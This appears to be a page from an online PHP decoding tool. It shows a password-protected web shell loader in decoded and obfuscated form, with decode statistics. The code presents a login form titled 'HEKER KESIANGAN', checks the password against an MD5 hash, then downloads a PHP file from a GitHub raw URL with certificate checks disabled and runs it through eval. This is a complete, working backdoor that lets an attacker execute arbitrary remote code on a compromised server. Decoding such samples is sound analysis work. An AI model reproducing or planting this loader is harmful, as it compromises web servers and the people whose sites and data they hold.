Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php goto J3h6X; uMr7S: function geturlsinfo($url) { if (function_exists("\143\165\162\..
Decoded Output download
<?php
goto J3h6X; uMr7S: function geturlsinfo($url) { if (function_exists("curl_exec")) { $conn = curl_init($url); curl_setopt($conn, CURLOPT_RETURNTRANSFER, 1); curl_setopt($conn, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($conn, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0"); curl_setopt($conn, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($conn, CURLOPT_SSL_VERIFYHOST, 0); if (isset($_SESSION["coki"])) { curl_setopt($conn, CURLOPT_COOKIE, $_SESSION["coki"]); } $url_get_contents_data = curl_exec($conn); curl_close($conn); } elseif (function_exists("file_get_contents")) { $url_get_contents_data = file_get_contents($url); } elseif (function_exists("fopen") && function_exists("stream_get_contents")) { $handle = fopen($url, "r"); $url_get_contents_data = stream_get_contents($handle); fclose($handle); } else { $url_get_contents_data = false; } return $url_get_contents_data; } goto UUKHK; cJz_p: if (is_logged_in()) { $a = geturlsinfo("https://raw.githubusercontent.com/BadaxHaxor/getf/main/coba.php"); eval("?>" . $a); } else { ?>
<!doctypehtml><html><head><title>HEKER KESIANGAN</title><body bgcolor="black"text="red"><center>HEKER TELER<br><h4><br><br><pre>
<br><br>
<br></h4></html><form action=""method="POST"><label for="password"></label> <input id="password"name="password"type="password"></form><?php } goto lxNvj; eiTo4: if (isset($_POST["password"])) { $entered_password = $_POST["password"]; $hashed_password = "d7a713b5d9adace16bfad1b7f7dab4c9"; if (md5($entered_password) === $hashed_password) { $_SESSION["logged_in"] = true; $_SESSION["coki"] = "seopecahterus"; } else { echo "Incorrect password. Please try again."; } } goto cJz_p; UUKHK: function is_logged_in() { return isset($_SESSION["logged_in"]) && $_SESSION["logged_in"] === true; } goto eiTo4; J3h6X: session_start(); goto uMr7S; lxNvj: ?>
Did this file decode correctly?
Original Code
<?php
goto J3h6X; uMr7S: function geturlsinfo($url) { if (function_exists("\143\165\162\x6c\137\145\x78\145\x63")) { $conn = curl_init($url); curl_setopt($conn, CURLOPT_RETURNTRANSFER, 1); curl_setopt($conn, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($conn, CURLOPT_USERAGENT, "\115\157\172\151\x6c\154\x61\57\x35\56\60\40\50\x57\151\156\x64\157\x77\163\40\x4e\124\x20\x36\56\61\73\x20\x72\166\x3a\63\62\x2e\60\x29\40\107\x65\143\153\x6f\57\62\x30\61\60\60\x31\x30\x31\x20\106\x69\162\145\x66\157\x78\x2f\x33\62\56\60"); curl_setopt($conn, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($conn, CURLOPT_SSL_VERIFYHOST, 0); if (isset($_SESSION["\143\157\x6b\151"])) { curl_setopt($conn, CURLOPT_COOKIE, $_SESSION["\143\157\153\151"]); } $url_get_contents_data = curl_exec($conn); curl_close($conn); } elseif (function_exists("\x66\151\154\145\137\x67\x65\x74\137\143\x6f\156\x74\x65\x6e\x74\163")) { $url_get_contents_data = file_get_contents($url); } elseif (function_exists("\146\157\x70\145\156") && function_exists("\x73\164\x72\x65\x61\x6d\x5f\147\145\x74\137\143\x6f\x6e\164\x65\156\x74\163")) { $handle = fopen($url, "\x72"); $url_get_contents_data = stream_get_contents($handle); fclose($handle); } else { $url_get_contents_data = false; } return $url_get_contents_data; } goto UUKHK; cJz_p: if (is_logged_in()) { $a = geturlsinfo("\150\164\x74\x70\163\72\x2f\57\x72\x61\x77\56\x67\x69\x74\150\x75\x62\165\x73\x65\x72\x63\157\x6e\x74\145\156\x74\56\143\x6f\155\57\102\x61\144\x61\170\110\141\170\157\162\57\x67\x65\164\146\x2f\x6d\141\x69\x6e\x2f\x63\157\142\141\x2e\x70\x68\x70"); eval("\77\x3e" . $a); } else { ?>
<!doctypehtml><html><head><title>HEKER KESIANGAN</title><body bgcolor="black"text="red"><center>HEKER TELER<br><h4><br><br><pre>
<br><br>
<br></h4></html><form action=""method="POST"><label for="password"></label> <input id="password"name="password"type="password"></form><?php } goto lxNvj; eiTo4: if (isset($_POST["\160\x61\x73\x73\x77\x6f\x72\144"])) { $entered_password = $_POST["\x70\x61\x73\x73\x77\157\x72\x64"]; $hashed_password = "\144\x37\141\67\61\63\x62\x35\144\x39\141\x64\x61\x63\x65\61\x36\x62\146\x61\x64\x31\x62\67\x66\x37\144\141\x62\x34\143\x39"; if (md5($entered_password) === $hashed_password) { $_SESSION["\154\157\147\147\x65\144\x5f\x69\156"] = true; $_SESSION["\143\157\153\x69"] = "\163\x65\157\x70\x65\x63\x61\x68\x74\x65\x72\165\x73"; } else { echo "\111\x6e\143\x6f\x72\162\x65\x63\164\x20\160\x61\163\163\167\x6f\x72\x64\x2e\x20\x50\154\x65\141\163\145\x20\164\x72\171\x20\141\147\x61\151\x6e\56"; } } goto cJz_p; UUKHK: function is_logged_in() { return isset($_SESSION["\154\x6f\147\x67\x65\144\137\151\156"]) && $_SESSION["\x6c\157\x67\x67\x65\144\x5f\151\156"] === true; } goto eiTo4; J3h6X: session_start(); goto uMr7S; lxNvj: ?>
Function Calls
None |
Stats
MD5 | 5ec7c725e12f5248d09dbc3b0de1c00c |
Eval Count | 0 |
Decode Time | 50 ms |